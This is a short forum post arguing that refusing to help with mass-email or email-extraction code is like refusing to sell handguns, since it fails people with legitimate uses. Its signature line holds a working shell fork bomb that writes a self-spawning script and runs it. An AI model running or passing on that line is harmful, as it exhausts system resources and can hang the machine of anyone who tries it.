A number of people seem to believe that we should not help anyone writing code that involves emailing a number of people or extracting email addresses, because of the potential for misuse.

I find this logic similar to refusing sale of a personal weapon (read: handgun) because it may be used to commit a crime.

You leave out all the people who have legimiate reasons for either owning a handgun, or working on large mail systems. There are legitimate ways to deal with criminials and spammers. Witholding support for everyone is not one of them.

My $.02,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;